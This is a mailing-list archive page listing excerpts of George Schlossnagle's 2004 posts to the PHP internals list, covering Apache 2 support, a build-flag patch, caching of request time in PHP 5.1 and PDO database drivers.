2004-12-30 Thread George Schlossnagle
On Dec 30, 2004, at 2:23 PM, Hans Zaunere wrote: That has nothing to do with Apache2 and has been available for Apache1 for years. It just isn't a very popular feature. See the apache_hooks code. I know apache_hooks but after discussion with George and others, I wouldn't feel comfortable recomme

Re: [PHP-DEV] Why we don’t like PHP / PHP’s anti-Apache2 FUD

2004-12-22 Thread George Schlossnagle
ubscribe, visit: http://www.php.net/unsub.php George Schlossnagle -- Prinicipal Consultant -- OmniTI Computer Consulting -- http://www.omniti.com -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] Why we don’t like PHP /

2004-12-20 Thread George Schlossnagle
On Dec 20, 2004, at 8:44 PM, Gareth Ardron wrote: George Schlossnagle wrote: At some point you'll have to face it: Apache 2 is becoming a popular "platform". It's obviously up to you at what point you'll consider this important enough to spend time on it but a reality

Re: [PHP-DEV] Why we don’t like PHP /

2004-12-20 Thread George Schlossnagle
On Dec 20, 2004, at 8:05 PM, Christian Schneider wrote: Derick Rethans wrote: Why would we (as PHP developers) invest time in something while the current version provides us with all we need? Because more and more people want to run Apache 2 for different reasons? According to your argument PHP w

Re: [PHP-DEV] [PATCH] use -prefer-non-pic on x86-{freebsd,linux}

2004-12-07 Thread George Schlossnagle
On Dec 7, 2004, at 10:45 AM, Derick Rethans wrote: Did we ever came to the conclusion whether we should put this patch into CVS. AFAIK everybody agreed with it... That's what I recall as well. George -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/

Re: [PHP-DEV] PHP 5.1 time() caching

2004-10-22 Thread George Schlossnagle
On Oct 22, 2004, at 5:05 PM, Ilia Alshanetsky wrote: Derick Rethans wrote: For that the granularity is not good enough though. Ideally we'd have gettimeofday() cached, but looking @ the code it is called on by lcg code and then only on MINIT. So we'd need an "extra" syscall to provide this, I am

Re: [PHP-DEV] PHP 5.1 time() caching

2004-10-22 Thread George Schlossnagle
On Oct 22, 2004, at 4:43 PM, Ilia Alshanetsky wrote: The question is what would be the best way to provide this information within the script. The two alternatives are: adding a new function to get this info or storing this data inside $_SERVER. What do you think? $_SERVER['request_time'] George

Re: [PHP-DEV] PHP 5.1 roadmap

2004-10-21 Thread George Schlossnagle
On Oct 21, 2004, at 7:30 PM, Frank M. Kromann wrote: Aside from that, PDO is very usable for the most common data access patterns that you are likely to use in PHP. Driver wise, we have a nice collection. The only major driver that we are missing is mysql 4.x (we have 3.x). If namesake-Georg doesn

  1   2   3   4   >